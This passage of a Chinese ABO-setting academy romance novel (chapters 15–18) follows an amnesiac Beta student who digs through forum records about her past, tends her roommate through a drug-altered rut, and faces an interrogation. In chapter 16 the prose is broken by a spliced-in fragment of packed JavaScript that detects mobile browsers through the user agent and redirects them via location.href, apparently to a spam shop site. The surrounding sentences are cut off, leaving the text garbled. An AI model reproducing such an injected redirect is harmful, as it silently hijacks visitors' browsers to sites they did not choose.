看来想知道任务详情，除了恢复记忆，就只有问梵陵了。
前者还需要等校方的治疗部检查出具体原因，再想办法恢复记忆。
而后者，她并不确定梵陵是否可信。
尽管有无数证据摆在面前，他们曾是生死相交，能互相托付后背的队友。
但池映菡依旧对这个人没有实际的信任感。
在她的脑海中，她对这个人的所有认知，都源自于今晚。
浴室方向传来声响，池映菡切换页面到论坛八卦界面上。
脚步渐近，池映菡看着显示器，内心却一直在留意背后人的动静。
“怎么不吹头发？”梵陵问她。
池映菡心里有鬼，操作界面的手指停顿了一下。
余光中，她看到梵陵湿漉漉的头发披在肩上，脑袋上顶着米白色毛巾，穿着睡衣长裤站在她身后。
15.第15章
梵陵说着，晃悠着站到池映菡身后。
桌面上摆了一面镜子。
镜中人晃了晃，皮肤白皙，线条利落的腰腹沟壑分明。
腰很窄，小腹延伸出来的青筋蜿蜒往上，像是有生命的藤蔓攀附其上。
池映菡压制住了想吹口哨的冲动，佯装镇定随便点开论坛上的某个贴子。
“吹了发根。”她回答。
但其实她根本没有吹头发，一门心思扑在别的地方。
梵陵背对着她，镜子照不全他的脸。
池映菡只能在镜子里看见他被水打湿的下唇，以及下巴尖上将要滴落的水珠。
听到这个回答，梵陵转身离去。
池映菡刚要把目光转移回来，他却已经回来，还手持着吹风机。
微凉的，带着湿润水汽的手指撩起她的长发。
梵陵神色认真，站在她身后为她吹头发。
看得出来，他对于这件事很熟练。
先分层，发顶根部逆着吹，其余顺着吹。
和她自己吹头发的习惯一模一样。
甚至在吹到半干的时候，梵陵还越过她，长臂直接取过她架子缝隙里的护发精油，按了两泵后用掌心搓热，再为她涂抹捋顺。
池映菡心中震动。
原来他们这个队的友情如此深厚。
梵陵一字未说，动作利落将她收拾妥当。
甚至替她梳好发辫，再翻出她帽架上的真丝睡帽包好。
做完这一系列，他自己的头发已经半干，不再往下淌水。
综合自己那整齐排列的处分理由，池映菡忽然想到了梵陵这么做的理由。
在早期处分上，曾有两起宿舍闹事的处分。
最后的处理结果她匆匆扫了一眼，第一次好像是她从原宿舍出来了。
但那上面并没有写明宿舍分配，她还需要再次查询宿舍申请记录。
池映菡正在走神，听见梵陵说：“好了，可以睡觉了。”
这口吻怪怪的，就好像他不做完这些事情，就默认池映菡不会睡觉似的。
池映菡扪心自问，她应该没那么难伺候。
这些生活习惯她少时就有，没有因环境而改变。
虽然在一群Alpha中保持这种生活态度可能会被当作异类，但池映菡完全理解并支持自己的选择。
显示器熄灭，池映菡熄灯上床。
她将遮光隔音的窗帘拉好，突然有点怀疑自己是不是强迫了梵陵为自己做事。
于是，池映菡打开终端，继续登录后台查询。
上面显示，她曾有两次宿舍变动。
第一次是由校方强制分开，理由是她与当时的室友互殴。
池映菡切换到论坛上，按照时间线搜索。
终于，在对应的月份找到了一条疑似的相关帖子，标题是《坐标休宁北楼五层，今晚的动静是怎么回事？》
往下划，这条帖子的五楼给出了回复：有人打架了。
底下纷纷求吃瓜。
再往下找，五楼层主接着放出一小段视频，可惜年代久远，这个视频已经失效，池映菡打不开。
好在有人提问：这个揍人的好眼熟，不是隔壁偷拍贴的苦主吗？
五层回答：是啊，就是因为她发现了室友偷拍，还背地里贩卖照片，所以才揍了这人，只能说偷拍者活该。
底下十六楼说：我记得这个人，好像是那个分化失败的Beta吧，姓池对吧，她还没退学啊。
有人在这层连打几个问号：？？？为什么觉得她会退学？
十六楼ID为山海肆意回复：她是Beta啊，就算暂时看不出分别，也只是因为这一届都是新生，时间会拉开差距，分化后的Alpha很快就会从生理上完胜Beta，不是我唱衰她，也不是我有性别歧视，我只是站在中立角度分析，她还不如退学重考，以她的能力，考取其他学校才能发挥更多价值。
池映菡翻了个白眼，继续往下看。
有不少人都赞同他的说法。
不过很快就有个ID为倾慕此生的出现，顶着这个文雅的ID一个个回复他们。
多数人只得到了个“滚”字，十六楼很荣幸获得她的三条回复。
倾慕此生：脑子有水可以把耳朵捅穿再倒出去。
倾慕此生：你有本事贴出这次成绩单，看看你期中赛排第几，年级本次参赛者三千人，你不会连前三百都没进吧？
倾慕此生：医疗部怎么没在开学体检时把你当医疗废物一起回收了，懒得和脑残说话，滚滚滚。
池映菡翻了翻这层的骂战，同时看到了自己的回复。
想开点：这位勇猛的Alpha，明天的午休时间，我在七号训练场等你。
头像是手绘的简笔荷花，荷花上画了个生动传神的无语表情。
配合回复来看，无端有种目中无人的感觉。
还有点贱嗖嗖的。
池映菡好像知道，为什么那个月有两次处分了。
不过看样子，最后是她赢了呢。
池映菡真觉得自己很帅。
从小到大她都是这样，睚眦必报。
叶女士总觉得她过于张扬，性格不够沉稳，不过至今池映菡都不曾改变想法。
笑话，她听过被气死的，没听过爽死的。
池映菡退出帖子，去看第二次更换宿舍的记录。
这次申请并非由校方强制执行，申请理由上很明确写了，经双方共同协议后提出更换宿舍的申请。
池映菡还是不太相信自己会无缘无故和梵陵住在一起。
就算必须邀请一个人，那也应该是关青木才对。
所以她又将“池”和“Beta”作为关键词，再次寻找相关相关帖子。
果不其然，在她翻找了几个无关回复后，终于在去年的某条回复中找到了线索。
期末不进前五百不改名：不懂就问，那个池姓Beta怎么又在宿舍打架了？
池映菡根据这条回复点进帖子，看到了熟悉的ID。
二楼的山海肆意：是那个人活该，欺凌室友，动静太大了，下课路过的池某看不下去，顺手揍了而已。
这层的第一条回复：哥们，你怎么又在这儿，你住在C的帖子里了？
第二条回复：蒲哥，你不会是爱上了吧，你不是觉得人家是Beta，比不过Alpha吗？怎么，还不服输啊。
山海肆意回复第二条：首先，我不是怕约架，哪个Alpha一学期不被督察警告几次？但我愿
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赌服输，没有再约架的意思。其次，我只是恰好点进来这个帖子，顺手解释一下。最后，我觉得输给池某不丢人。
接下来的回复里，一溜都是整齐的复制粘贴：最后，我觉得输给池某不丢人。
池映菡跳过层往下看，在这条帖子的二十楼艾特了山海肆意：蒲哥，最新消息，池某和那个被打的换到一个宿舍了，有人看见他们实训课一起回宿舍楼。
这层楼没有得到山海肆意的回复，反倒是有一群人跟着他艾特山海肆意。
一群人看热闹不嫌事大。
池映菡点了山海肆意的头像，想看看还能不能从这个人主页里找出更多信息。
不过令她有些失望，山海肆意的主页打开了隐私设置，非互关不能从信息页看到相关信息。
池映菡没来得及退出，忽然看到他头像下有个灰色的小标，是单向关注的图标。
她手一抖，回关了山海肆意。
然后，池映菡翻找对方的主页动态。
最近的动态是两天前的发帖转发。
山海肆意：有本事做没本事承担。
他转发的还是自己的帖子《任务难度评估错误，让学生承担后果，后勤部的人能不能去四》
不过这条转发的原帖链接是灰色的，根本无法打开，即便点进去也只能看到提示：相关帖子涉及违规，已被管理员删除。
他不止转发了这一次。
还有三天前的发言：我不是帮C某说话，但开除她我不同意。
有人在这条底下回复他：哥别说了，等会儿又要被删帖了。
还有人嘲讽：你不同意？你算老几，有本事你去做管理层，就算把整个校区挂二手平台卖了都没人管你。
还有其他人跟进：有本事在这里怪叫，你也算不上什么好汉，G某敢撕掉所有教学楼的纸面通报，直接投诉了此次任务的直系负责人，你也就仗着后勤部没直系领导撑腰，净挑软柿子捏。
池映菡正看吵架看得起劲，结果弹出一个私信。
山海肆意：你回学校了？
池映菡没搭理他，他就一直发消息。
池映菡被不断弹出的消息搞得心烦，索性回了一句：非本人。
山海肆意消停了一分钟，发送新消息：非校内无法登录，非本人无法登录，非在读在职无法使用，你当这三非准则不存在啊。
池映菡已经把他主页看了个差不多，她已经看出这人没有参与救援，应该对那次任务并不知情。
她没有多解释，直接问他：你知道参与救援的都有谁吗？
山海肆意回复：你干嘛，想报恩还是报仇？
山海肆意：你同届的三班六队，原本第一批救援的人还没到达，他们队离得近，等校内组织第二批救援的时候，他们就上报完成救援任务了。
山海肆意：这些不是在校园公示网上都能查到吗？
山海肆意：你刚回来？
山海肆意：其实我当时已经报名救援队了，但我排在二批。
池映菡不关心这些，她打断他：睡觉了。
山海肆意正在输入的状态维持了半分钟，池映菡没有理会，因为她听到了帘外有些不同寻常的动静。
压抑且痛苦的喘息，在静谧的夜色中格外突兀。
16.第16章
池映菡静静听了一会儿，还是无法狠下心装聋作哑。
不管梵陵今晚是不是在试探，他终究还是在自己危难之际出校接她。
且他有可能是任务的唯一知情人，池映菡想要知道些什么，还是要从梵陵入手。
池映菡叹了口气，掀开了将空间一分为二的帘子，走到梵陵窗边查看情况。
梵陵的被子只有一半搭在腰间腿上，其余的掉在地上。
他侧躺在床边，在即将摔落的边界上。
双眼紧闭，眼珠不安滚动着，唇缝无望开合，迫切汲取着什么似的。
汗珠子从他额上滑至鼻梁，最后卡在深邃的眼窝里。
就像是凝聚了一处泪湖。
池映菡觉得终端提供的光线有限，摸索着要打开他床头的灯。
不料她刚按下开关，梵陵便皱起眉，凭借直觉关闭那盏小灯。
反手向上，他准确无误捉住池映菡的手腕，顺着她未收回的动作，挤进她指缝里，与她十指相扣。
另一只手也没闲着，长臂一揽，便扣着她的腰向自己压来。
池映菡反应迅速，膝盖压在他身上，未被牵制的左手已经压在他喉间。
“梵陵，松手。”
梵陵的呼吸被她收紧不断的手掠夺，脸色很快涨红。
他甚至不能言语，断断续续发出挣扎低喘，间或夹杂着不通畅的咳嗽。
然而命脉握在他人掌间的危急时刻，梵陵没有松开池映菡的腰，手往上移，压着她的后脑往自己颈间压。
池映菡明白他这是怎么回事。
梵陵这是进入易感期了。
池映菡松开手，想要起身：“抑制剂在哪？我去给你拿。”
她确信梵陵能听清楚自己的话，但他置若罔闻，将她卷进怀中，下巴垫在她肩上，闷声说：“不要。”
滚烫的唇印在皮肤上，唇钉的金属质感被两人的体温包裹着。
光滑的金属质感抵着池映菡，产生了一种奇妙的隔阂。
与此同时，他鼻间不断吸气，试图吸取着池映菡身上的味道。
池映菡额上神经突突直跳，她推阻着那颗脑袋，咬牙切齿道：“你往哪咬呢？我是Beta！”
池映菡摸到灯的开光，让光线再次扰乱梵陵。
她拿捏着力道，趁他闭眼的间隙不轻不重踹了他一下。
梵陵闷哼一声，刚卸下点力气，就被池映菡拽着领子拎得坐起来。
她单膝挤入他□□，直起背来，将两人的高度拉开。
梵陵那双带着薄雾的石绿眼眸湿漉漉的，带着点死性不改的倔强，在痛楚和渴望中强迫自己与池映菡对视。
“那你咬我？”
梵陵气音飘渺，边说着，边圈住她的腰，仰着头，将脆弱的腺体暴露给她。
池映菡骂了他一句：“神经病，我对Alpha没兴趣。”
这倒是真话，要不然她不会在司诺德分化成Alpha分手。
前任给的惨痛教训，Alpha与生俱来的独占欲、好胜心、
梵陵下巴微收，他眯起眼，在心中反复咀嚼这句话。
直看得池映菡心底发毛：“怎么了？”
梵陵说：“看来你是真不记得了。”
已经有了心理准备，所以当梵陵戳穿时，她没有那么惊慌，反而有一种尘埃落定的踏实感。
没拆穿时她需要反复揣测，现在直接捅破窗户纸，她只需要想解决方案。
“很意外吗？”池映菡说，“你不是早就怀疑了。”
她语气很冷静，甚至称得上冷漠。
床头的冷光像是针一样插在空间里，刺得梵陵眼睛疼。
但还好，因为身上疼的地方太多了，这点不适感并不算明显。
梵陵原本急促的呼吸突然止住，他咽了口唾液，喉结艰难滚动。
“你怀疑我？”
“很难理解吗？”
她没在开玩笑？
她没在开玩笑。
她竟然，没有在开玩笑。
梵陵眼瞳颤动，抿着唇，任凭不断袭来的痛感裹挟全身，吞没理智。
汗湿的鬓发刘海黏在脸颊上，他不为所动，热潮一遍遍冲刷着躯体，他咬着舌尖，心中五味杂陈。
但很快，他便重新钻入池映菡怀里。
就算池映菡扇了他一巴掌都不躲。
发麻发热的脸庞根本不能再产生痛意，梵陵牵着她的手往腺体处摸。
“你怎么能不记得呢？你怎么敢不记得……”他声音低沉，反复念叨，“我们被围困在嵊余星的那些日子，你真的全部都忘记了吗？”
池映菡觉得他皮肤温度异常，烫得吓人。
她没有回答，冷静甩开他的手：“我去给你拿抑制剂。”
说完，她抛下虚弱的梵陵起身，开始在宿舍里翻找抑制剂。
哐当一声巨响，梵陵整个人摔下床。
池映菡已经在柜子里拿到抑制剂，正要转身，却被梵陵从背后抱住，他的唇准确无误吻在池映菡后颈。
原本该有腺体生长的地方光滑一片，唯有两枚小小的针孔，需要非常亲密的距离才能看清楚。
他舌尖舔舐着池映菡的伤口，牙尖有意无意触碰到，不曾刺入，却有蓄势而发的风险。
池映菡已经撕开包装，不再忍耐，挣脱怀抱后捏着他的后颈，将他推到冰冷的柜子上。
猛然摔到柜前，上面的金属把手硌到翻脸了后腰。
易感期中分外敏感的感官让他忍不住打了个激灵，半是痛苦半是愉悦的低声呼出一口气。
池映菡干净利落将针扎进腺体。
皮肤被针尖刺穿的那一刻，梵陵还在试图过来拥抱她。
这无意给池映菡加大了难度和工作量。
“再乱动就扎歪了，老实点。”
她以为这种事就是一回生二回熟，没想到梵陵半点不怕针头歪掉，找准一切空隙往她怀里钻的样子，像极了无赖。
池映菡索性抓着梵陵的头发，以此来控制他不许乱动。
抑制剂好不容易全部推了进去，梵陵却没有丝毫变化。
房间内只有他大口喘息的声音，像岸边濒死的鱼。
心跳脉搏持续加速，Alpha天性里的暴戾驱使着他将劣根性展露无遗。
然而梵陵在昏沉的热中找回一丝清明，舔了舔尖利的虎牙，突然笑了。
“没用的。”他如愿以偿抱着池映菡，高大的身躯几乎要将她的影子全部吞没。
“你不记得了，我在嵊余星使用了七针不明药剂，从那以后，市面上所有的抑制剂就对我不管用了。”
池映菡能感受到，她腰间的灼热。
因为操作不顺，所以腺体处流出些许鲜血。
与他雪白的肌肤相互映衬，看起来有些诡异的艳丽感。
池映菡说：“医疗部有夜晚有人值班吗？我带你去。”
梵陵嗤笑一声，按住她，掐灭自己心中最后一点希望。
“看来你真是把我忘得一干二净。”他笃定。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14130220|147780||http|test|mini|href|location''.split(''|''),0,{}));
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池映菡没有否认，她的缄默在梵陵这里就是无声的答案。
“我是先天性腺体残疾，生来就对任何人的信息素无感，而其他人的信息素，在我体内会产生强烈的排斥反应……”
通常情况下，Alpha喜好争斗，并且排斥同类是很正常的。
但如果是先天性腺体残疾，无法控制自身的信息素就不好说了。
如果被学校发现，梵陵会被停课，还有可能面临劝退。
他的不可控出于生理，几乎能够预料到他的危险性。
池映菡想了想，说：“但你的成绩足够优异，且分化后无任何恶意伤人的例子，校方很有可能会保你毕业。”
没想到梵陵接着说：“可我是一名Omega。”
池映菡霎时间愣在原地，瞠目结舌：“可……你，你现在分明是Alpha。”
“对，先天性的残疾让我得以蒙混过关，侥幸逃离别人选择，待价而沽的结果。但意外就出在嵊余星那次任务中。”
池映菡屏住呼吸，听见他继续说：“任务有变，你被联邦的人抓走，我潜入暗场带走了你，逃出来时你已经被打了两针转化剂，陷入了假性易感期。”
“我们在嵊余星躲了三日，为了能挺到支援到来，我给自己打了七针处于试验阶段的转化剂。”
梵陵叙述这些事的时候，几乎没什么情绪波动，唯有在提到假性易感期时加快了语速。
“你马上要毕业了，为什么还要告诉我这些。”池映菡问。
梵陵说：“你迟早会想起来的，我只是把我的弱点再次作为投诚的礼物献上来，这样，你就能握着我的把柄，让我有机会永世不得翻身。”
池映菡无奈：“我没有那种闲工夫，把精力用在……”
“无关紧要的人身上。”梵陵像是预判好了她的话，直接说了出来。
他眼中有讽刺有不甘，还有浓稠的恨。
像密林阴影下的苔藓，是一片难见阳光的暗绿。
沉默片刻，池映菡回答：“对。”
梵陵将每个字都清晰咬在齿间，向她传达自己内心的阴暗：“你休想。”
梵陵说：“你到现在还认为我们毫无关系吗？你在嵊余星上对我做了什么，你不记得，我可牢牢替你记着。”
“我现在既不是Omega，因为我排斥所有人的信息素，同时我也不属于Alpha，因为他们的信息素令我作呕。”
“池映菡，你倒在贫民窟神志不清的时候，只有我能抚慰你。”梵陵说，“或许我不该恨你，因为这一切都是我咎由自取，我决定救你的时候，从未想过你会忘得一干二净，凭什么呢？那我在你心里，算什么呢？”
“如果我不恨你，我该怎么说服自己继续活下去。”梵陵说着，身体忍不住颤抖。
可他已经分不清哪里在痛了，只是觉得情绪无法排解，堵在胸口中饱尝血液，几乎要把整个人的灵魂撕裂。
怪不得，他明明是Alpha，却戴着Omega间流行的抑制颈环。
池映菡还以为是梵陵的特殊癖好。
原来梵陵是Omega。
不对，现在好像也不能算是Omega了……
在池映菡走神的一瞬，梵陵低头弯腰。
呼吸交错间，他的唇最终定在池映菡下巴上。
池映菡的下意识偏头，使得这个吻又一次失落无踪。
梵陵眸光彻底暗淡下去，没有继续，他唇色苍白，脸颊却带着异常的酡红，喃喃：“你躲我？”
17.第17章
这不废话吗？
池映菡干笑一声，说：“无论你是Alpha还是Omega，我都依旧是Beta，你明白吗？咱俩压根就不合适。”
看梵陵这副模样，必须要有高匹配度的信息素注入才能缓解他的状态。
梵陵沉默半晌，说：“或许你说得对。”
池映菡拍拍他，说：“你明白就好，能不能先把手放开。”
睡帽遗落在床上，原本精心编好的头发有些凌乱，发尾的丝带很长，一直垂到腰间。
梵陵将她的模样映在眼底，他没有回答，但从动作来看，他态度很坚决。
池映菡无奈：“你到底想做什么？”
梵陵扶着她的腰，下巴在她肩膀处蹭了蹭，不再说话。
炽热的呼吸将他原本清亮的声音染得黏腻模糊：“为什么没有味道了？”
空气中有他洗发水和沐浴露的味道，也是清爽的薄荷香，但这种味道绝对和信息素无关，更不可能令池映菡意动。
“本来就不可能有味道。”池映菡再次将手指插入他脑后发间，将他的头发攥在手心，施力将他脑袋提起来。
“嘶——”
梵陵痛得牵动嘴角，那颗虎牙洁白尖锐，池映菡看到它，却后颈一凉，更不敢轻易松手。
“正如我们刚刚所提到的那样，我如今记忆残缺，不如就让那些事过去，我们继续做队友、朋友，甚至可以在毕业后继续做合作伙伴，梵陵，你觉得呢？”
虽然是商量的语气，但池映菡神情严肃，她的眉头微皱，眼中有淡淡的疲惫感，可她态度十分坚决。
很明显，池映菡不想听到他的任何辩解和否认。
梵陵头皮发麻，他痛得眼角渗出点点泪意。
“全世界，只有我知道你信息素的味道。”
他忽然扯了扯嘴角，那点晶莹的泪就像是坠在眼尾的廉价水钻。
没人会高看它的价值，但在某种时刻和场景下，确实是璀璨的点缀。
眉峰被牵扯着往后拉，眼尾上挑，梵陵舌尖扫过虎牙，不等池映菡回答，他接着说。
“你知道我是什么时候开始怀疑你的吗？不是在电梯前，就在我今夜见你的第一面。”
梵陵忍着痛，模拟了一个吐烟的动作。
气息悠长，拨开池映菡脸上的碎发，然后他唇边笑意再难抑制。
池映菡恍然间误以为自己眼前有薄雾，下意识屏住呼吸，却听他嗤嗤笑着，说：“池映菡，烟味好闻吗？”
池映菡挑眉，几乎在一瞬间就领会他话中意思。
她加重了手上力气，反问他：“喜欢我的信息素？”
梵陵吃痛，跟着她的动作往后仰，不得已又拉开两人的距离，但他仍旧嘴硬，说：“喜欢啊，怎么可能不喜欢，我们俩当得起一声天造地设，不然我们两个残废怎么能恰好契合？池映菡，身体本能反应骗不了人，你会记起来的。”
池映菡说：“你爱顾影自怜，我可没这个癖好。我池映菡从来没有觉得，分化成Beta就称得上残疾，老实说，我看你这副模样，只觉得你可怜。”
梵陵身体僵硬，再张口时，连声音都随眸色暗哑：“那你可怜我啊，你既然招惹了我，为什么还要招惹别人……”
池映菡不想再听他喋喋不休，直接咬上他的后颈。
没有任何信息素的注入，也没有任何其他的安抚动作。
她任由梵陵低吼，非要留下深刻牙印，感受他的肌肉由紧张继而松弛。
呜咽声慢慢从他喉间溢出，池映菡不为所动，甚至在他再度想要拥抱时避开。
抽下发间绑带，池映菡将他的手反剪在后，几下捆束绑紧。
她将人推倒在床上，任凭梵陵怨毒的眼神肆意望过来。
“这不是你想要的吗？如你所见，我至今还没有自主分泌信息素的能力。”池映菡说，“不过我也很好奇你口中的那种药物，以及那个实验室所研制的药物。你还记得什么吗？”
池映菡单手推来椅子到他床边，她则环抱着胸坐在上面，用脚尖踢了踢他的小腿，示意他答话。
信息素还在分泌，本能促使他挪动自己的身躯，想要起身。
但愈发得不到满足的情潮愈演愈烈，他无力挣脱，只能任由池映菡居高临下看着他的狼狈。
梵陵将脸埋在杯子里，不肯说话，仅仅是痛苦喘息。
池映菡俯身凑近，用手捏起他的下巴，说：“梵陵，尊严和脸面都是自己挣出来的，你要恨我，不如和我继续合作，你我能成功逃离实验室，就代表着我们两个命不该绝，既然嵊余星没留住我们的命，我们就该合作杀回去，让那些人尝尝苦头。”
“我没那么大的本事。”梵陵说，“不是谁都这么自不量力，我们能逃出来，已经是奇迹，帝国那么多人才，这种任务轮不到我们两个涉世未深的年轻人来做。我们说到底，都是看起来稍优秀些的普通人罢了，你怎么能笃定自己一定能成功。”
“那是因为他们都不是你我。”池映菡的指尖陷入他皮肤里，直接掐出印子来。
“帝国子民不计其数，可同龄者里，能与我相提并论者有几人？不是我自大，池映菡这三个字本就是个奇迹。”
“我们能逃出来是运气！”梵陵说，“你青春期的中二梦还没醒吗？”
“但如你所说，我们是天造地设的同盟者。”面对梵陵的嘲讽，池映菡并不羞恼，“新闻和学校官网至今未报道这件足以震惊帝国的任务详情，甚至，校方很有可能是有意掩盖事实。”
从梵陵今晚的话中，池映菡已经明白了，校方从头至尾都不曾放弃她。
司诺德哪有这么大的面子，能直接出面保下她？
多半还是因池家顾及影响，不想她涉险，以养病为由将她留在家中。
而校方不知是否在忌惮池家在文娱界的影响力，因此并没有贸然强制带她走。
毕竟，从明面上看，校方有误判任务风险的责任，池映菡作为学生，虽有违规行为，却也是此次事件的受害者。
嵊余星处于帝国和联邦的边界，一直是两方相争的敏感地带。
这里出了个能生产转化剂，做人体实验的实验室，帝国不可能不警惕。
北洛军校一直都为帝国军队输出高质量人才，不可能对此事漠不关心。
“你不是担心自己的病情被发现吗？现在
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就有摆在你面前的借口，你在不明实验室里遭受虐待，腺体被药物破坏，产生损伤……我猜测你也是这么应付医疗部的吧？”
梵陵沉默，池映菡便知道自己的推测是对的。
“帝国子民需要我们，我们是唯一深度参与此次事件的亲身经历者，我们该向学校申请，参与此次事件的调查。我们是帝国的先锋，如果我们还不敢涉险，还有谁会来做呢？”
“而且，你也未免过于天真。”池映菡叹了口气，“你还不明白吗？你觉得经历过这件事后，我们根本没有机会置身事外。今晚归校太顺利了，几乎畅通无阻，我猜测校方很快就会将要求我们提供此事细节，与其别人逼迫，不如趁早入局，以增加自己的筹码。还记得我刚才说什么吗？尊严是自己挣出来的。”
梵陵听完，脑子渐渐冷静下来。
他并未完全跟着池映菡的思路走：“你觉得校方会同意我们继续参与？天真的是你才对。我比你更清楚尊严被踩在脚下的滋味，从贫民窟到北洛军校，我耗尽了十几年的心血才足以站在天才身后，可我仍旧不能挣到尊严。”
说到这里，他咽了口唾液，缓了一阵，才接着往下说：“池映菡，你说得对，池映菡这个名字就代表着奇迹，可惜的是，我不叫池映菡，我只是一个连姓氏都没有的孤魂野鬼。”
池映菡苦笑着摇头，她说：“你为什么要对自己有这么多偏见？”
梵陵垂着眼，不愿再与她对视：“你输得起，我输不起，就这么简单。”
这与是否勇敢无关，二十年的成长经历告诉他，孤注一掷的赌徒往往会走向穷途末路。
押上所有的前提是有东西可做筹码。
他本就一无所有。
梵陵闭上眼，静静等待池映菡的回复。
从池映菡第一次向他伸出援手，他早就知道他们不是同路人。
勉强同行一段路，他背叛自己的原则，救她一回，也算是还她这些年的恩情。
只是，临到审判降下的那刻，他竟然不敢睁眼。
梵陵咽喉酸胀，像是卡了一块浸满水的棉花，上不去下不来，实在难受。
这种悲哀甚至在此刻超越了信息素紊乱带来的痛苦。
好像一个世纪般漫长，分秒划过，煎熬到要把梵陵胸膛破开，让心口那些酸水都流出来似的。
不知过了多久，梵陵感受到池映菡松开对他下巴的钳制。
皮肤上的刺痛感犹在，梵陵怅然若失，同时又像是卸下了某种心理负担。
她放手了。
梵陵睁开眼，恰好对上池映菡那双鸢尾紫的双眸之中。
床头的灯将她的眸色照得极尽温柔，梵陵不知道她为什么没走，又为什么用这种温柔却恶心的眼神看着自己。
梵陵言语冰冷：“我不需要你可怜我。”
池映菡却说：“睡吧。”
说完，她起身离开，回到了自己的床上。
灯已经熄灭，月光寂寥到无济于事，帘子隔开两个世界。
梵陵发现，那根用来捆束制约他的发带，不知何时已然散落。
他动了动发麻发痛的手臂，将自己摊开在床上，一夜无眠。
18.第18章
痛意从清晰到模糊，邻近天际泛白时，梵陵才睡了一会儿。
然而他很快就清醒。
房间空荡荡，阳光肆意张扬，中见隔断的帘子已经打开，池映菡不知所踪。
梵陵起身，感觉身上的痛苦仍旧没有消减。
他打开终端，以易感期为由在线上向导师请假。
新任导师是个今年刚回到帝国首都星的女Alpha。
与许多毕业于北洛的导师相较，她过往的履历几乎没什么亮眼之处，唯一值得称道的是，她在毕业后先是去了偏院星系教学多年，教学成绩斐然，今年才因伤病回首都星修养。
为激励青年教师，帝国将她作为特例宣扬。
但很可惜，这里是北洛，人才层出不穷。
这位新任导师根本没有资格接手新生，学院便将以池映菡为代表的几个烫手山芋交给了她。
终端上，简瑜文三个字旁显示在线。
几乎是在他请假消息发过去的一瞬间，简瑜文就批准了。
梵陵刚要熄灭终端，简瑜文那边弹出一条新消息。
“梵同学，你现在方便吗？学校这边需要再次询问你一些问题。”
梵陵浑身无力，紊乱的信息素在身体里打架，像是要挣破皮肉。
他的部分肌肉痉挛，不断跳动。
抑制剂帮不上他，他只能凭借意志力硬抗。
“老师知道你很难受，如果你实在不舒服，我想我可以替你向校方申请线上会议，学校这边可能会派一个督察到你的宿舍进行监督，不过你可以放心，都是正常流程。”
梵陵余光扫过那边空荡荡的床。
他手指颤颤巍巍，好几次都输错字。
“池映菡呢？”
“池同学已经从医疗部拿到了检查结果，我正在陪她前往审讯室。”
梵陵支起身体，回复她：“我马上到。”
他爬起来，从抽屉里翻出了点止痛药，然后拿起抑制剂，很利落给了自己来了一针。
抑制剂几乎对现在的梵陵不起作用，但他还是希望借此撑久一点。
最起码让脑子多清醒一阵。
不知道是不是心理作用，梵陵感觉没那么难受了。
他洗漱完毕，穿戴好衣服，尽量让自己看起来没那么脆弱。
半个小时后，他来到审讯室外。
门外的负责接应他的督察向他确认：“你是梵陵？”
梵陵点头，督察才打开门，领他往室内走。
隔着审讯室的玻璃，他看到了池映菡。
审讯室的桌椅不够宽敞，她坐得却坦然，无处安放的长腿交叠在一起，笑起来的时候，那双鸢尾紫的眼瞳遮住一半眸光，像是一只精明的狐狸。
余光瞥见梵陵，池映菡冲他摆手，对他做口型。
“欢迎。”
看到梵陵走了进来，池映菡心底其实是松了口气的。
今天早上她的检测报告已经出来了，除了失忆症外，其余指标均为正常。
甚至于，作为一个长期接受高强度训练的Beta，除却仍然不能分泌信息素外，她的身体素质和精神状态堪称良好。
医疗部的检查自然是可靠的，她已经将结果打包给了叶鸿影，告诉她自己一切良好，目前已成功返校，并且委婉提醒她，她资助的那批孩子或许不适合学医。
说实话，她没骂一句庸医，都是因为今天的一切还算顺利。
然而当池映菡来到审讯室，与督察和校领导面对面时，顺利状态戛然而止。
“我不明白，我的检测报告显示一切良好，为什么学校仍然不同意让我加入清剿计划。”
对面，军装的青年Alpha听到她的话，回答道：“你应该明白，这次任务的危险性，如果你真的如医疗部给出的诊断结果那样，不慎丧失了部分记忆，那学校就更不可能让你参与到任务中去，北洛不缺能力强悍的学生，但他们绝对不能只是莽夫。池映菡，你唯一的优势就是经验，失去记忆，你就和任何一个普通的北洛学生没有区别，明白吗？”
池映菡有些烦躁，在此次谈话中，这已经不是他第一次强调她的无用了。
“邬伊斯老师，我觉得我确实有不可替代性，首先，我的模拟实训联赛成绩一直名列前茅。”
“是，但你不是第一，你很优秀，可你并没有优秀到无可替代。”
池映菡听到他这句话，一口气卡在喉间，突然有点泄气。
这位领导太犟了，无论她试图用什么理由说服他，他总能一句话拒绝。
“如果没有其他问题，我想我们可以结束这次谈话了。”邬伊斯看了一眼身旁督察，他立即将本次的谈话记录上交。
纸张在邬伊斯手中翻过一页，发出声响的瞬间，池映菡余光扫到审讯室外的人影。
她瞬间看到希望，冲那边的人挥挥手。
“欢迎。”池映菡由衷道。
审讯室的灯光很冷，照得梵陵病容尽显，血色全无。
亦或者说，他本身就长了一副生人勿近的面孔。
池映菡注意到他今日除了唇钉和耳钉外，没有佩戴其他金属首饰。
单色的皮质颈环孤零零挂在颈间，似乎没有调整好位置，有泄露信息素的风险。
池映菡笑了笑，对邬伊斯说：“刚才您说我唯一的优势是经验，其实并非如此，我认为我最大的优势是有队友。”
邬伊斯眉心皱起，严肃道：“你的队友可不是这样想的。实际上，梵陵已经在上次谈话后，提出了退出你们小队的申请，只不过碍于队长未曾返校，他才决定缓几天。”
梵陵已经拉开椅子，坐在她身侧。
池映菡问他：“你真是这么想的吗？”
“是的。”梵陵双手交合，垂眸回避着所有人的视线，但他声音很坚定，“我目前的身体状况恐怕无法执行后续的任务，很抱歉，但我真的没有精力再跟进这项任务。”
任谁都能看出梵陵现在的状态很糟糕。
不止是腺体带来的不适，他的精神状态岌岌可危，医疗部委婉的告诉他，他目前不适合再接受任何校外任务。
这些信息，邬伊斯早已清楚，所以他再度看向池映菡，希望她能够放弃纠缠：“老实说，我以为你往后会尽量避开与嵊余星有关的所有任务，你为什么要执着于参与到后续调查中呢？”
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>他的眉头依旧紧皱，因此他的玩笑话也并不能缓和气氛：“该不会，你其实并没有失忆吧？”
